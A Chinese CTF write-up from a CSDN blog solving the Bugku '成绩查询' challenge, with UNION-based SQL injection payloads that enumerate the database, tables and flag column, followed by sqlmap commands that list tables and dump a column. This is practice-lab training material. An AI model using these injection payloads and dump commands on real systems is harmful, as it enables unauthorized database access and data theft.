bugku 成绩查询

本文讲述了作者通过SQL注入利用工具sqlmap尝试从skctf数据库中获取信息的过程,包括尝试不同的查询语句,发现表名、字段名以及最终找到flag的过程。
摘要由CSDN通过智能技术生成

题目描述: 来源山科大ctf

打开是这样的

输1

直接爆库的,这里都没得密码

id=-1' union select 1,2,3,database()#

一个数据库skctf(估计flag就在里面)

爆表

 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 

得到了两个表,fl4g和sc

估计就是在fl4g里面了

爆字段

id=-1' union select (select skctf_flag from fl4g),2,3,4#

不明白为什么下面这个查不到

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g()# 

后来我用了sqlmap

python sqlmap.py -h

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --current-d

发现了一个库skctf

我想用下面的语句爆skctf中的库

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --tables -d "skctf"

但报错了(看别人的wp爆出的库是skctf_flag,不知道为什么,我查询语句时也是skctf)

[11:15:04] [CRITICAL] invalid target details, valid syntax is for instance 'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' or 'access://DATABASE_FILEPATH'

这意味着 -d "skctf" 这部分的语法有问题。-d 选项在 sqlmap 中通常指定直连数据库的方式,需要一个有效的数据库连接字符串 而错误信息给出了有效的连接字符串格式的两个例子:

  • 对于 MySQL:mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
  • 对于 Microsoft Access:access://DATABASE_FILEPATH

下一步执行了

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --tables

爆出了三个库,五十三个表

skctf中只有两个表 fl4g,sc

我还是想试一下

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --column -T "fl4g" -D " skctf"

革命正在努力

结果竟是这样

说明库确实是skctf_flag

等等,what?

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --column -T "fl4g"

所以skctf_flag是表??

大佬的wp确实有,也许是现在做了修改

按照我查询到的库skctf,字段skctf_flag

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --dump -C "skctf_flag" -D "skctf"

还是查到了

但我直接查也查到了

python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --dump -C "skctf_flag"

小结:用sqlmap可以理解的更加透彻

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值